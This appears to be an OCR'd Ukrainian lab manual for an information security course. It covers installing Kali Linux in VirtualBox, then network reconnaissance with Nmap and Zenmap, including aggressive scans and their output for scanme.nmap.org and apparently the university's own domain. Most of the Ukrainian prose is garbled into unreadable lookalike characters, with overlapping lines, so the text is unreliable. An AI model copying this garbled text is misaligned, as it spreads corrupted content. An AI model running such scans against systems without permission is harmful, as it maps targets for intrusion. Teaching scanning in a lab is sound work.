used throughout VirtualBox to identify this machine. Additionally, you can select an ISO image which may be used to
install the guest operating system.

Name: ]Kai

Folder: [ C:\Users @D \Vir tualBox VMs

1SO Image: 1 [&] €:\users\QEEEID\Downloads kali-inux-2022. 4-ive-amdé4.iso
Edition:

Type: |Linux =

Version:  Debian (64-bit)

[[] skip Unattended Installation

@ Detected OS type: Debian (64-bit). This OS type can be installed unattendedly. The install will start
after this wizard is closed.

vt | | | [ ][ oo

Pucynok 1.2 — OGepith Ha3By BipTyaiabHOI MamuHy, nuiax a0 1SO-o6pasa ta
HaTUCHITH «Next»
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V¥ Create Virtual Machine

? X
Unattended Guest 0S Install Setup
You can configure the unattended guest OS install by modifying username, password, and hostname.
Additionally you can enable guest additions install. For Microsoft Windows guests it is possible to provide
a product key.
Username and Password Additional Options
ProductKey: |####8-##8XE-SRXER-FR2HE-H
Ugername: ¢
Hostname: [Kali l &
Password: Iooonoooo @I )
Domain Name: lmyguest,virma[box.org I
Repeat Password: |oo.o|no Gﬁ'
[ install in Background
[[] Guest Additions
Guest Additions ISO: {_'] C:\Program Files\Orade\VirtualBox\VBoxGuestAdditions.iso
Help Back Next

Pucynok 1.3 — Hidoro He 3MiHIOI0UM HATHCHITH «NeXt»

V¥ Create Virtual Machine

? X
Hardware
You can modify virtual machine's hardware by changing amount of RAM and virtual CPU count. Enabling
EFlis also possible.
Base Memory: U
4MB 6144 MB
Processors: ' 413
1CPU 8 CPUs
[[] Enable EFI (special OSes only)
Help Back Cancel

Pucynok 1.4 — O6epiTh KUIBKICTh ONIEPATUBHOI aM'ATi 1110 Oy 1€ BUAIICHO JJIs
BIpTyaJIbHOI MalIMHU (PEKOMEHI0BAHO BUILIUTH Big 2I'0 10 mpaBoi Mexi 3emeHo1
30HM) Ta KUTBKICTB SIp TIporiecopa (Bia 2 10 mpaBoi MeXi 3€JI€HOT 30HU)
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V¥ Create Virtual Machine ? X

Virtual Hard disk

If you wish you can add a virtual hard disk to the new machine. You can either create a new hard disk file
or select an existing one. Alternatively you can create a virtual machine without a virtual hard disk.

(® Create a Virtual Hard Disk Now

Disk Size: : ‘ ' ‘ 40.00 GB

4.00 MB 2.00TB
[ pre-allocate Full Size

(O Use an Existing Virtual Hard Disk File
(&% kali.vdi (Normal, 40.00 GB)
(O Do Not Add a Virtual Hard Disk

Help Back || Next || Cancel

Pucynok 1.5 — O6epits "Create a Virtual Hard Disk Now", BuainiTh mam’aTh s
cuctemu (MiHiMaIbHHM 00’ eM — 20 ['0, pekomenaoBanuii — 401°6), 00epiTh
“Pre-allocate Full Size” ta vatucHiTs ‘“Next”

¥# Create Virtual Machine ? X

Summary [ 8¢ @
The following table summarizes the configuration you have chosen for the new " § ~
you are happy with the configuration press Finish to create the virtual machine.| Creating medium ... o
back and modify the configuration. . 11%
éé Machine Name and 0S Type

Machine Name Kali

Machine Folder C:/Users QD Vir tualBox VMs Kali

1SO Image C:\Users @D \Downloads \kaliHinux-20;

Guest OS Type Debian (64-bit)

Skip Unattended Install false
[} unattended Install

Username vboxuser

Product Key false

Hostname /Domain Name Kali.myguest. virtualbox.org

Install in Background false

Install Guest Additions false
Q Hardware

R A 2NAQ

Help Back

Pucynok 1.6 — Hatucuite “Finish”, micis 4oro mo4HeThest npoIec CTBOPCHHS
BIPTYaJIbHOI MaIIMHU
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[Ticast cTBOpEHHS BIpTYaabHOI MAIIMHU, IIEPEUIITIOBIIH y HAIAIITYBAaHHS, MOYKHA
3MIHUTH JEsKl BJIACTHUBOCTI BIPTyaJbHOI MAIIMHHU, OO0 ONTHMI3yBaTH ii IiJ CBOI
notpedbu abo pecypcu (Pi3MUHOT MAIIMHU.

¥# Oracle VM VirtualBox Manager - m] X

File Machine Help

15 e @ 2

New  Add e scard  Start
[N Kali — = General HaTucHiTb =] preview
(O, @) Powered Off = Name: Kali

Operating System: Debian (64-bit)

E] System

Base Memory: 2048 MB

Processors: 4

Boot Order:  Floppy, Optical, Hard Disk
Acceleration:  Nested Paging, KVM Paravirtualization

[ pisplay
@ Storage
Controller: IDE
IDE Secondary Device 0:  [Optical Drive] Empty
Controller: SATA
SATA Port 0: Kali.vdi (Normal, 40.00 GB)
{n Audio
Host Driver: Default
Controller:  ICH ACS7
@ Network
Adapter 1: Intel PRO/1000 MT Desktop (NAT)

(7 uss

USB Controller: OHCI, EHCI
Device Filters: 0 (0 active)

O chasadfaldaw

Pucynok 1.7 — Hatucuite “Settings” muist moaibIioro HaTAITYBaHHS BipTyaIbHOT
MalIuHU

Jliist 3amycKy BipTyajabHOT MAlllMHU HATHCHITH “Start”.
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V¥ Oracle VM VirtualBox Manager — o X

File Machine Help

[

1 My

| gl oo L ol
‘ New Add Settings

~ | General HatucHite | preview
v j Kali ge= 3
[@®) © roweredoff d=  nName: Kali
Operating System: Debian (64-bit)
|®| System
|
‘ Base Memory: 2048 MB
Processors: 4

| Boot Order:  Floppy, Optical, Hard Disk
Acceleration:  Nested Paging, KVM Paravirtualization

M| pisplay
&) storage

Controller: IDE

IDE Secondary Device 0:  [Optical Drive] Empty
Controller: SATA

SATA Port 0: Kali.vdi (Normal, 40.00 GB)

(0 Audio

Host Driver: Default

Controller:  ICH AC97

= Network
‘ Adapter 1: Intel PRO/1000 MT Desktop (NAT)
uss

&
USB Controller: - OHCI, EHCI
‘ Device Filters: 0 (0 active)

) e bl

Pucynok 1.8 — Haruchits "Start"

VY HOBOMY BIKHI 00€pITh JUCK, SIKUW Oy/i€ BUKOPUCTAHO SIK 3aBaHTaXKyBaJIbHUI
i 9ac MEepIIoro 3amycKy BIpTyaabHOI MallMHHU, Ta HaTtucHITH “Mount and Retry
Boot” (Pucynox 1.9).

o bootable medium found!?
Please insert a bootable medium and reboot.

&/ VirtualBoxVM ? %

The virtual machine failed to boot. That might be caused by a
missing operating system or misconfigured boot order.
Mounting an operating system install DVD might solve this
problem. Selecting an ISO file will attempt to mount it after the
dialog is dosed.

DVD: | <not selected > m

<not selected >
D Da Ly Other...

B & EB@E - @rintc

Pucynok 1.9 — OGepith 3aBaHTaKyBaJIbHUIA JTUCK
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[Ticnst 3aBaHTa)keHHs 00epiTh myHKT “Start Installer” ta marucuite Enter. Ha
ckpinmorax Hmwk4e (Pucynok 1.10-1.18) moka3aHi OCHOBHI MOMEHTH, Ha sIKi BapTO

3BEpHYTH yBary IIiJl 4ac BCTAHOBJICHHS CUCTEMH Ha BIPTyalbHY MAaIIMHY — yCE€ 1HIIE
MOYKHA 3QJIMILIATH 332 3aMOBYYBaHHSIM.

Kali Linux live menu (BIOS mode)

Live system (amd64)
tem (amdb4 fail-safe mode)
em (amd64 forensic mode)
tem with USB per ence (check kali.org/prst)
Live system with USB Encrypted persistence
Start installer
Start installer with speech synthesis
Advanced install options
Utilities

Pucynok 1.10 — O6epits “Start installer”

| KALI I

A user account will be created for you to use instead of the root account for non-administrative activities.

Set up users and passwords

Please enter the real name of this user. This information will be used for instance as default origin for emails

sent by this user as well as any program which displays or uses the user's real name. Your full name is a
reasonable choice.

Full name for the new user:

[ai

L

Screenshot Go Back

Pucynok 1.11 — Beenith iM’s Jj1s1 HOBOTO KOpUCTyBaua (MOXKHA Oyab-sKe), ai
BBEIITh OT0 HIKHEWUM (SIK IIbOT'0 KOPUCTyBaya Oy/ie 0a4yuTH CUCTEMa)
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| KALI I

A good password will contain a mixture of letters, numbers and punctuation and should be changed at
regular intervals.

Choose a password for the new user:

Set up users and passwords

[_] Show Password in Clear

Please enter the same user password again to verify you have typed it correctly.
Re-enter password to verify:

[oommmod ]

("] Show Password in Clear

li Screenshot Go Back ‘[ Continue

Pucynox 1.12 — CTBOpiTH MapoJib JIJIs1 HOBOI'O KOPUCTyBava

| KALI I

A network mirror can be used to supplement the software that is included on the installation media. This may
also make newer versions of software available.

Configure the package manager

Use a network mirror?
) No

® [Yes|

| Screenshot Go Back |[ Continue ]

Pucynox 1.13 — O6epiTh “Yes” st BAKOPUCTaHHS MEPExKi 11 oHoBJIeHH: 13, m1o
BCTAHOBJIIOETHCS, OJIpasy il Yyac 1HCTAJIALIT
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| KALI I

If you need to use a HTTP proxy to access the outside world, enter the proxy information here. Otherwise,
leave this blank.

Configure the package manager

The proxy information should be given in the standard form of "http://[[user][:pass]@]host[:port}/”.
HTTP proxy information (blank for none):

[ ]

Screenshot Go Back H gontinue ‘

Pucynox 1.14 — SIkio BUKOpUCTOBYBATH MPOKCI HEMA€ HEOOX1THOCTI — JTUIIITh TOJIE
nycTuM 1 HaTUCHITH "Continue”

[Ticns Toro, sIKk BU MpoiiieTe BULLE3ragaHi Kpoku (ix MOCIiJOBHICTh MOXe OyTH
3MiHEHA y PI3HUX BEPCIsiX IHCTAIATOpA), Oy i€ 3alPOMOHOBAHO PO3MITUTH IUCK. Y pasi
THCTaAJIAIIT CHCTEMHU Ha BIPTyaJIbHY MallIUHy 00€piTh MyHKT 332 3aMOBYYBAHHSM, SIK HA
Pucynky 1.15. B iHmmx BUmajakax AUCK HEOOXITHO PO3MIYATH BUXOISYH 3 TOTOUYHUX
obOctaBuH. BapTo 3Hath, 1m0 omeparlliiina cuctema LinUX Bumarae 000OB’S3KOBOT
HAsIBHOCTI JUCKIB:

— 3 TOYKOIO MOHTYBaHHS «/» Ta (aiiyioBoro cucreMoro ext3 abo ext4 (MoxmBi
¥ 1HII1 BapiaHTH, 0a)KaHO BUKOPUCTOBYBATH €Xt4);

— NHCKY 3 Toukoro MoHTyBaHHI SWAP (swap) — 3 ¢aitioBoro cucremoro swap;

ONTHUMAJIIBHUA PO3MIp IHOTO JHUCKY —00’€M OMEepaTHUBHOI TaM’siTI KOMIT I0Tepa
IIOMHOXEHWI Ha /Ba.
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| KALI I

The installer can guide you through partitioning a disk (using different standard schemes) or, if you prefer,

you can do it manually. With guided partitioning you will still have a chance later to review and customise the
results.

Partition disks

If you choose guided partitioning for an entire disk, you will next be asked which disk should be used.
Partitioning method:

Guided - use entire disk

Guided - use entire disk and set up LVM

Guided - use entire disk and set up encrypted LVM

Manual

Screenshot Go Back ‘[ Continue ]

Pucynok 1.15 — Jlns Toro mo6 BUKOPHCTATH BeCh JUCK 00epiTh "'use entire disk", ms
pY4HOI po3miTku — 00epith "Manual”

| KALI I

If you continue, the changes listed below will be written to the disks. Otherwise, you will be able to make
further changes manually.

Partition disks

The partition tables of the following devices are changed
SCsi3 (0,0,0) (sda)

The following partitions are going to be formatted:
partition #1 of SCSI3 (0,0,0) (sda) as ext4
partition #5 of SCSI3 (0,0,0) (sda) as swap

Write the changes to disks?
) No

® \{?_s\

Pucynox 1.16 — ITicns po3miueHHS AUCKY (1S BIpTyaabHOT MAIlllMHU MOKHA OOMpaTh
OMIIIi 32 3aMOBYYBaHHAM) TpeOa MiITBEPAUTH PO3MITKY, HATUCHYBIIH “YES”
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[Ticns 3aBepuieHHs iHCTamsMii Oyme 3amporoHoBaHo BcraHoButn GRUB
(Pucynok 1.17) — moroapTecss Ta 00epiTh JUCK, HAa sikoMy BctaHoBieHo OC. ITicis

Or0 Oyzie BUBEACHO MOBiOMIIeHHS mpo ycmimHy iHctamsmito OC (Pucynok 1.18).
Ha nibomy posroptanss cucteMu Oyzie 3aBEpILEHO.

| KALI I

It seems that this new installation is the only operating system on this computer. If so, it should be safe to
install the GRUB boot loader to your primary drive (UEFI partition/boot record).

Install the GRUB boot loader

Warning: If your ¢

as ing system that the installer failed to detect, this will make that
operating system temporarlly unbootable though GRUB can be manually configured later to boot it.

Install the GRUB boot loader to your primary drive?
O No

® (Yes

Screenshot

: Go Back J ‘on(inue

Pucynox 1.17 — OGepits "Yes" ta HatucHiTh Enter

| KALI I

Installation complete
Installation is complete, so it is time to boot into your new system. Make sure to remove the
installation media, so that you boot into the new system rather than restarting the installation.

Finish the installation

Please choose <Continue> to reboot.

Screenshot

cosus | [comn |

Pucynoxk 1.18 — [ncTansiiro 3aBepiieHo, HaTucHiTh "'Continue”
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| kali

CucteMy BCTAHOBJICHO, Jalli MOXKHAa pOOMTH TIOTPIOHI HaJAIITyBaHHS,
HATHCHYBIIM Ha WIECTEPHIO, 100 Kpaiie MPUCTOCYBATH BipTyallbHYy MAaIIMHY 0
noTpeO.

BipryanpHa mammnaa MOKe 3aXOMUTH BBEICHHS 3 KJIaBiaTypu Ta Kypcop; o0
HOBEPHYTHCS 1O TOJOBHOI cucTemH, HaTHCHITH “Right Ctrl” abo immry kiasimry,
BKa3aHy y MpaBOMy HIDKHBOMY KyTi BikKHa BipTyanbHoi Mamiuau (Pucynok 1.19). 1o
KJIaBilly MOYKHA 3MIHUTH y HaJIaIITyBaHHSIX.

= us 4 19Feb,19:07 O

Bok@o miEE®erotcr ]

Pucynox 1.19 — Ha3Ba xocT-kiaBiii, sika 3HIMae 3axXBaT KJaBiaTypu Ta Kypcopa

OcTaHHIM KpPOKOM € OHOBIIEHHS cuctemu Ta [I3 mo akrtyanbHoi Bepcii. s
poro micis aBTeHTU(iKanii Binkpuiite Tepminan (Pucynok 1.20) ta BBemiTh Taki
KOMaH/IU:

® sudo apt update
® sudo apt full-upgrade -y

[lepmia komaHaa OHOBIIOE 0a3y JaHUX 3 1HGOPMALIIEIO PO MPOTPAMHI MAKETH,
Jpyra — OHOBJIIOE yCl MOJJIMBI TakeTH. PEKOMEHIOBaHO OHOBUTH CHCTEMY
3a3/ajerigb, apKe mepiie OHOBJICHHS MOXE 3alHATH OLbIIE Yacy, HIXK MOIaIbIII.
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SlemP oD

' k kali@kali: ~
File Actions Edit View Help

update
for kali:

File Syste

formation ... Done
a rade ... Done
e following packages were automatically installed and are no longer require

1f-@ libcfitsio9
pastedeploy-tpl

wballstemmer python3-sphinx ru
common
pt autoremove' to re
kages will be
libgter
The following NEW packages will be installed:

Pucynok 1.20 — BigkpwuiiTe TepmiHai Ta BBEAITh 3rajilaHi KoMaHIu (MOXKITMBO
noTpiOHO Oyzie BBECTHU MApOJIb)

3aBiaHHA:

— posropHyTd BipTyaibHy Mammuy 3 Kali Linux (abo ampTepHaTHBHUM
TUCTpUOYTUBOM, Y TAKOMY BUTIAJKY OOTPYHTYBaTH BUOIp);

— OHOBHTH CUCTEMY, O3HAHOMHTHCS 3 11 iHTepdericoM, 3p0OUTH CKPIHIIOT BiKHA
HaJalITyBaHb 3 1HHOPMAIIIEIO TIPO CUCTEMY;

— JIOJIaTKOBO: BCTaHOBUTH Live-oOpa3 cucremu Ha Giem-kapry yis
MOJIaJIBIIIOTO Ay IUTy OE3POTOBUX MEPEK.
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JlaGopaTopna podora Ne 2

Tema: Inctpymentu mnpuxoBaHoro 300py TexHI4HOi iHpopmamii 3
KOMIT FOTEpPHOT CUCTeMH a0 MEpexi.

Mera: Ortpumaru 3HaHHS Ta HABUYKH KOPUCTYBAHHS 1HCTPYMEHTaMH
MPUXOBAHOTO 300py TeXHIYHOI iH(OopMalii 3 Mepexi a00 KOMIT IOTEPHOI CUCTEMH.

TeopernuHi BizomocTi

bynp-axuii aynut iHdopMaliitHoi Oe3rneku opraHizallii TOYMHAETHCS 13 300Dy
1HbOopMaIlii mpo:

— KpaiHy e (yHKIIIOHY€e opraHizailis;

— Oprai3zariro Ta ii JisUIbHICTB;

— KOMIT IOTE€pPH1 MepeXi oprasizariii,

— KOMIT IOTE€PH1 CUCTEMH 110 (PYHKIIIOHYIOTh B OpraHi3ailii;

— TIpalliBHUKIB.

binbmicte 1H(OpMaLii MOXIWBO OTPUMATH 3 BIAKPUTHX JDKEPEN, NEAKy
iH(dopMaIlito HajJlae cama opraHizallis, aje Taka iHpopMallis, HailuacTiiie, BUSBUTHCS
HEaKTyaJIbHOIO a00 He B HEoOXigHOMY (popMaTi, 0COOIUBO 1€ CTOCYETHCS TEXHIUYHUX
nanux. TexHiuH1 faHi, 1o Oy 1yTh BUKOPUCTOBYBATHUCH IT1]1 YaC ayAUTY iHPOpMAIIiiHOT
0e3reKkr, 00O0B’S3KOBO MOBHHHI OyTH aKTyallbHI, OUIBII TOro, OUIBIIICTH 3 HHUX
MOBUHHA 30MpaTHCs MEeBHHUM yac abo y meBHuUM uac. Hampuknazn, nis toro, mo0
BUSIBUTH BIJIPI30K Yacy, KOJHU 3pOCTa€ HAHOUIbII MOTEHUIHHO HeOe3MeuHa IisIbHICTh
KOPHUCTYBaYiB.

IcHye BenmKka KUIBKICTh PI3HOMAaHITHUX METOMAIB Ta 3ac00iB 300py TEXHIYHOI
iHpopMmartii, ogHak HaOLIpI ommpennM 3 HuX € Nmap (https://nmap.org/download)
(Pucynok 2.1). st Nmap Oyno po3po0iIeHO rpadiuHuii
inTepdeiic — Zenmap (https://nmap.org/zenmap/) (Pucynok 2.2).
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kali@kali: ~
File Actions Edit View Help

scanme.nmap.org
[sudo] password for kali:

Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-15 17:45 EET

Warning: 45.33.32.156 giving up on port because retransmission cap hit (6).
Nmap scan report for scanme.nmap.org (45.33.32.156)

Host is up (0.036s latency).

Other addresses for scanme.nmap.org (not scanned): 2600:3c@1:: f@3c:91ff:fel8:
bb2f

Not shown: 996 closed tcp ports (reset)

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux;
protocol 2.0)

| ssh-hostkey:

| 1024 ac@P0a0l1a82ffcc5599dc672b34976b75 (DSA)

| 2048 203d2d44622ab05a9db5b30514c2a6b2 (RSA)

| 256 9602bb5e57541c4e452f564c4a24b257 (ECDSA)

|_ 256 33fa910fe@el7b1f6d05a2b0f1544156 (ED25519)

80/tcp open http Apache httpd 2.4.7 ((Ubuntu))

| _http-title: Go ahead and ScanMe!

| _http-server-header: Apache/2.4.7 (Ubuntu)

| _http-favicon: Nmap Project

9929/tcp open nping-echo Nping echo

31337/tcp open tcpwrapped

Device type: bridgelgeneral purposel|switch

Running (JUST GUESSING): Oracle Virtualbox (97%), QEMU (92%), Bay Networks em
bedded (87%)

Pucynok 2.3 — Konconb 3 Nmap

25



- Zenmap - a X
Scan Tools Profile Help
Target: | scanme.nmap.org v | Profile | Intense scan v| |Scan| |Cancel

Command:  nmap -T4 -A -v scanme.nmap.org

Services Nmap Output Ports / Hosts Topology Host Details Scans

0S ¢ Host = :scanme.nmap.org (45.33.32.156);
A scanme.nmap.org | 5 Host Status

State: up
Open ports: 4
Filtered ports: 0

Closed ports: 996
Scanned ports: 1000

Up time: 535590 5 .

Last boot: Mon Jan 9 13:03:25 2023

- Addresses
IPvd:  4533.32.156

IPv6:  Not available
MAC: Not available
-/ Hostnames
Name - Type: scanme.nmap.org - user

Name - Type: scanme.nmap.org - PTR

-| Operating System
Name: Linux 2.6.32

+/ Ports used
+ 0S Classes

+/ TCP Sequence

+ IP ID Seauence

Filter Hosts

Pucynok 2.4 — I'padiunuii inTepdeiic Nmap — Zenmap

Konconpna yruaita Nmap (Network Mapper) 3 onHuM 13 HaOLIBIIT MTOTYKHUX
MEpEeKEBUX CKAHEpIB Yepe3 CBOIO0 THYYKICTh Y BUKOpHcTaHHI. Haitwactime Nmap
BUKOPUCTOBYETHCSI Y SKOCTI CKaHEpa BIJKPUTUX IMOPTIB Ha IIJILOBUX XOCTaxX 1 BiH
MOX€E HaJlaBaTH 1H(popMaIlio AK po CTaTyC HOPTIB
(BIIKpUTHI/3aKpUTHI/ DITETPYETHCSA), TaK 1 PO CEPBICH, SKI BUKOPUCTOBYIOTH JIaHI
MOPTH, 1 HABITh CKAaHYBAaTH iX Ha BPa3JMBOCTI. 3a 3aMoBUyBaHHsIM NMmap crnoyaTtky
CKaHy€, Y KUBI1 L1JI1, a TOTIM MPOBOJAUTH CKAHYBAHHS TUX XOCTIB, L0 BIAMOBUIM Ha
3aMuT.

Nmap mae pi3HiI TUNU CKaHyBaHHS (B 3aJIe)KHOCTI BiJ| TUIy 3 €JHAHHS Ta
HasBHOCTI cucteM |IDS um aepBomiB), piBHI arpecMBHOCTI CKaHyBaHHS, MOXE
CKaHYyBaTH CKJIQJIHI CIIMCKHU IUJIEH Ta BIAMOBIIHI MHOXXWHH MOPTIB (IIJIIMA MOXYTh
OyTu noMeHM, KOHKpeTH1 |P-agpecu uu HaBITH LI MEpexi), 1a€ 3MOry 3MIHIOBATU
JOBKMHU Ta OKpeMi 3HAauYeHHS Yy BHUXIIHMX TaKeTaX JIaHUX, MOXXE BHUBOIHWTU
pe3yNbTaTH CKaHYBaHHA Y I€KIJIbKOX (popMaTax TOILIO.
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Bukopucranas Nmap mae HacTymHUN BUTJIAL
CHHTAKCHUC: nmap [<Tun ckaHyBaHHs>] [<onuii>] {<uinp ckaHyBaHHS>}

PosrnsneMo ocHOBHI THINH ckaHyBaHHa Nmap:

no3sonseS kAR YPbEkanyBaHI oTHANAGHHE NOIBB PRI TAHISKHH BB A
aaMiHICTpaTopa);

UDP Hpﬁg}OR&&DP CKaHyBaHHS) — JI03BOJISIE CKAHYBATH CEPBICH, 1110 BAKOPHUCTOBYIOTh

(13 29

aanep}ﬁg)mBQS%P d NIDP)cipsy@REuRE) — exBiBanienT “-ss” gns SCTP (wosimta

CKaHyBaHHS) — 103BOJIsiE  BU3HA4UMTH ki |IP mporokonu
Hi;[TpHWOTQ@I [IJILOBOIO MAIIIUHOIO.
Po3ristHeMo OCHOBHI OMIIiT CKaHyBaHHs NMap:

-p <mianaszon mopTie>— J03BOJIAE MPOCKAHYBATH MEBHI Jl1alla30HU MOPTIB;
BCiX HOCPymitipchophaitay; 6e3 posumpenns> - 30epirae pesysbTaT CKaHyBaHHSA y

HaiIOLIBIr BHBIRAKSIX GO P YR O MORTi e HidrysaM ABRIA Y B Mg 0oxanye 1000

1o i - -S5=r3RCkae QeHopHI ckpurtn Nmap fust B3aeMoii 3 cepBicamu (Te ik came,
- sV— BU3HA4Ya€ BEPCIIO CEPBICY, 1110 BUKOPUCTOBYE TMOPT;
-0 — BMUKAa€ BU3HAUEHHS OTEpaIliifHOi CUCTEMH,
--script=vuln— aKTUBY€ yCi CKpUNTH 3 O10J10TEKHM NMap, moB’s3aHi 3
ITOUTYKOM BpPa3IUBOCTEN;

obOpaHni tkpei;help=<uassa NSE  ckpunTa>— BUBOAWTH IH(pOpMAILiO TpoO
Bepcii epBidiBIfkiaAPECHIIANY HIKIPYRMVHL T aRHEHIHRE AT EOB B IeASITEN s
CKaHYBaHHS Ta BUKOHYE TpacyBaHHsI (€KBIBAJICHT -0 -sV -sC —-traceroute);
qacTOTY SHTPPIB PAHHE oy BHYHIHAE TIACHBH A THARASE KA BY B u YA Y
T4— arpeCUBHUN PEXKUM, TOTPEOYe MBUAKOT Ta HAIIMHOT MEPEKI).

e — nuire yacTHHA OMLIN Ta TUITIB CKAHYBAaHHS, 1110 BUKOPUCTOBYIOTHCS NMmap;
OuTbIIIe MPO HUX MOXKHA JI3HATHCS 3a JOMOMOTOI0 KOMaHAM ‘“man nmap’. Bapto
3ayBaKUTH, IO THCTpYMeHT NMap HaCTIIbKU MOTYKHUH, 110 MAa€ CBOIO CKPUIITOBY
MoBY — NSE, sika 103BOJisi€e OpraHi3oByBaTH JdYyXK€ CKJIaJHI MEXaHi3MH 300py
1H(popMmarii.

binbie npo 11e MoXHa Ai3HaTUCA Ha oQiliiHOMY caliTi NMap 3a MOCUJIAHHIM
https://nmap.org/book/nse-usage.html.

['padiuyna obosonka ZENMAP 103BOJISIE MIBUIKO MPOAHAI3yBaTH MEPEKY abo
KOMIT IOTEPHY CHUCTEMY 3aBJSKH JCKUIHKOM BXK€ HAJAIITOBAHUM pEXHMaM. TUM He
MEHIII, 3a3BHYail iX HEAOCTaTHBO ISl OTPUMAaHHs MOBHOI KapTWHU cuTyalii. OkpiM
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3pyYHOCTI BHUKOPWCTaHHS, OJHIEI0 3 BarOMHUX IIepeBar € aBTOMAaTHYHA MOOyaoBa
rpady/TonoJIorii Mepexl, sika CKaHy€eThCs. biabIn TOro, 1l TOMOJIOTIS 1IHTEPaKTUBHA,
0 JTO3BOJISIE PO3TISAATH MEPEKy, TaK OM MOBWTH, IiJl 3pYYHUM JJis CIIeIiajaicTa
kyToM. Ille omHi€ero mepeBaror Zenmap € mpocTHi 1 3po3yMiiauit crocid 30epiranHs 1
BIJIKPUTTS MOIEPEIHIX CKaHyBaHb. ZENMAP 103BOJIsIE pOOUTH CBOi 0COOUCTI POl
(1ra6yioHM) cKaHyBaHb JIJIsl TOAAJBINOrO iX BUKOpPUCTAaHHS. PosrisHemo iHTepderic
Zenmap JeTasbHiIIe.

* Zenmap - a X
Scan Tools Profile Help
Target: | kntu.kr.ua v | Profile: | Intense scan v| |Scan| |Cancel

Command: | nmap -T4 -A -v kntu.kr.ua

Services Nmap Output Ports / Hosts Topology Host Details Scans

0S 4 Host nmap -T4 -A -v kntu kr.ua ™ Details

A scanme.nmap.org | cpe:/o:linux:linux_kernel:3.2.0 )
Aggressive 0S guesses: AVtech Room Alert 26W environmental monitor (98%), FreeBSD
= 10.1-RELEASE (89%), Epson Stylus Pro 480 printer (88%), Netgear WGR614v7 wireless
broadband router (86%), Blue Coat PacketShaper appliance (85%), Tomato 1.27 - 1.28
(Linux 2.4.20) (85%), Linux 3.2.@ (85%)
No exact OS matches for host (test conditions non-ideal).
Uptime guess: ©.80@ days (since Sun Jan 15 17:56:57 2023)
Network Distance: 7 hops
TCP Sequence Prediction: Difficulty=264 (Good luck!)
IP ID Sequence Generation: Busy server or unknown class
Service Info: Host: mail.kntu.kr.ua; OSs: FreeBSD, Linux; CPE: cpe:/
o:freebsd:freebsd, cpe:/o:linux:linux_kernel

TRACEROUTE (using port 88/tcp)

HOP RTT ADDRESS

2.0 ms 192.168.0.1

3.80 ms 46-185-57-252.broadband.kyivstar.net (46.185.57.252)
22.80 ms dtel-ix.kyivstar.net (193.25.180.88)

22.80 ms dtel-ix.infocom.ua (193.25.180.231)

24.00 ms h93.212-1-125.ukrpack.net (212.1.125.93)

24.00 ms 195.230.140.90

25.80 ms ns.kntu.kr.ua (195.230.140.114)

NoOwvswN e

NSE: Script Post-scanning.
Initiating NSE at 17:57
Completed NSE at 17:57, ©.00s elapsed
Initiating NSE at 17:57
Completed NSE at 17:57, ©.00s elapsed
Initiating NSE at 17:57
Completed NSE at 17:57, ©.0@s elapsed
Read data files from: C:\Program Files (x86)\Nmap
0S and Service detection performed. Please report any incorrect results at https://
nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 44.99 seconds
2 Raw packets sent: 2889 (95.648KB) | Rcvd: 45 (2.823KB)

Filter Hosts

Pucynok 2.5 — Bxiaaka “HostS” — nepenik 3HaliJIeHUX XOCTIB; BKJIaIKa
“Nmap Output” — ctangapTHUl BUB1I NMap
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< Zenmap = O X
Scan Tools Profile Help
Target: | kntu.kr.ua 3 Profile: | Intense scan 3 ‘ Scan|  Cancel

Command: | nmap -T4 -A -v kntu.kr.ua

Hosts Nmap Output Ports / Hosts Topology Host Details Scans
Service a  nmap-T4-A -v kntu.kr.ua :] = | Details
domain cpe:/o:linux:linux_kernel:3.2.0 A
http Aggressive 0S guesses: AVtech Room Alert 26W environmental monitor (90@%), FreeBSD

10.1-RELEASE (89%), Epson Stylus Pro 40@ printer (88%), Netgear WGR614v7 wireless

imap broadband router (86%), Blue Coat PacketShaper appliance (85%), Tomato 1.27 - 1.28

. (Linux 2.4.20) (85%), Linux 3.2.8 (85%)
nping-echo No exact OS matches for host (test conditions non-ideal).
pop3 Uptime guess: ©.80@ days (since Sun Jan 15 17:56:57 2023)

Network Distance: 7 hops

smtp ICP Sequence Prediction: Difficulty=264 (Good luck!)
IP ID Sequence Generation: Busy server or unknown class

SN Service Info: Host: mail.kntu.kr.ua; OSs: FreeBSD, Linux; CPE: cpe:/
ssh o:freebsd:freebsd, cpe:/o:linux:linux_kernel
tcpwrapped TRACEROUTE (using port 8@/tcp)
HOP RTT ADDRESS
: § 2.8 ms 192.168.0.1
2 3.80 ms 46-185-57-252.broadband.kyivstar.net (46.185.57.252)
3 22.00 ms dtel-ix.kyivstar.net (193.25.180.88)
4 22.08 ms dtel-ix.infocom.ua (193.25.180.231)
5 24.00 ms h93.212-1-125.ukrpack.net (212.1.125.93)
6 24.80 ms 195.230.140.90
7 25.08 ms ns.kntu.kr.ua (195.230.140.114)
NSE: Script Post-scanning.
Initiating NSE at 17:57
Completed NSE at 17:57, ©.0@s elapsed
Initiating NSE at 17:57
Completed NSE at 17:57, ©.08s elapsed
Initiating NSE at 17:57
Completed NSE at 17:57, ©.08s elapsed
Read data files from: C:\Program Files (x86)\Nmap
0S and Service detection performed. Please report any incorrect results at https://
nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 44.99 seconds
Raw packets sent: 2889 (95.648KB) | Rcvd: 45 (2.823KB)
Filter Hosts

Pucynok 2.6 — Briragka “Services” — BioOpakeHHs yCiX 3HAWJCHUX CEPBICIB
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= Zenmap = m] X
Scan Tools Profile Help
Target: | kntu.kr.ua ‘V[ Profile: | Intense scan v| |Scan| |Cancel
Command: |nmap -T4 -A -v kntu.kr.ua

Hosts Nmap Outp! rl Ports / Hosts ITopoIogy Host Details Scans
Seivice a 4 Port 4 Protocol ¢ State ¢ Service ¢ Version <
B e 2 tcp open ssh OpenSSH 5.1p1 (FreeBSD 20080901; protocol 2.0)
htp @ 5 tcp open smtp Postfix smtpd
imap ® 53 tep open  domain ISC BIND 9.8.1-P1
nping-echo ® 38 tcp open http Apache httpd 2.4.18 ((FreeBSD) PHP/5.6.19)
pop3 @ 110 tep open pop3 Courier pop3d
smtp @ 143 tp open imap Courier Imapd (released 2011)
Sviiic @ 19 tcp open  smux Linux SNMP multiplexer
ssh
tcpwrapped
Filter Hosts ?

Pucynok 2.7 — Briagka “Port/HOSts” — nepernik BiIHOIIEHb BIIKPUTHX TOPTIB 10
XOCTIB
